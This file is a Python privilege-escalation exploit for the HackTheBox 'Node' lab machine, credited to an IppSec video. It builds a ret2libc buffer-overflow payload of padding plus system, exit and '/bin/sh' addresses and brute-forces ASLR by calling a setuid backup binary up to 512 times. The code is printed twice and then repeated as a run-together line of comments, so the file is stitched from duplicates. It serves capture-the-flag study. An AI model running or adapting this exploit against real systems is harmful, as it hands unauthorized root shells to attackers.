<gh_stars>0
#
#  Privilege Escalation Exploit for hackTheBox Node
#
#  From IppSec https://youtu.be/sW10TlZF62w
# 

from subprocess import call
import struct

# libc base address using:
# ldd /usr/local/bin/backup | grep libc.so.6

libc_base_addr = 0xf75b0000

# readelf -s /lib32/libc.so.6 | grep system

system_off = 0x0003a940
exit_off   = 0x0002e7d0

# strings -a -t x /lib32/libc.so.6 | grep /bin/sh

binsh_off  = 0x0015900b

binsh_addr  = struct.pack("<I", libc_base_addr + binsh_off)
system_addr = struct.pack("<I", libc_base_addr + system_off)
exit_addr   = struct.pack("<I", libc_base_addr + exit_off)

junk = ('A' * 512)

payload = junk + system_addr +  exit_addr + binsh_addr

i = 0
while (i < 512):
    print("Try: %s" % i)
    i += 1
    # call args: label, key, payload
    ret = call(["/usr/local/bin/backup", "ippsec", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", payload])

#
#  Privilege Escalation Exploit for hackTheBox Node
#
#  From IppSec https://youtu.be/sW10TlZF62w
# 

from subprocess import call
import struct

# libc base address using:
# ldd /usr/local/bin/backup | grep libc.so.6

libc_base_addr = 0xf75b0000

# readelf -s /lib32/libc.so.6 | grep system

system_off = 0x0003a940
exit_off   = 0x0002e7d0

# strings -a -t x /lib32/libc.so.6 | grep /bin/sh

binsh_off  = 0x0015900b

binsh_addr  = struct.pack("<I", libc_base_addr + binsh_off)
system_addr = struct.pack("<I", libc_base_addr + system_off)
exit_addr   = struct.pack("<I", libc_base_addr + exit_off)

junk = ('A' * 512)

payload = junk + system_addr +  exit_addr + binsh_addr

i = 0
while (i < 512):
    print("Try: %s" % i)
    i += 1
    # call args: label, key, payload
    ret = call(["/usr/local/bin/backup", "ippsec", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", payload])
# #  Privilege Escalation Exploit for hackTheBox Node # #  From IppSec https://youtu.be/sW10TlZF62w # # libc base address using: # ldd /usr/local/bin/backup | grep libc.so.6 # readelf -s /lib32/libc.so.6 | grep system # strings -a -t x /lib32/libc.so.6 | grep /bin/sh # call args: label, key, payload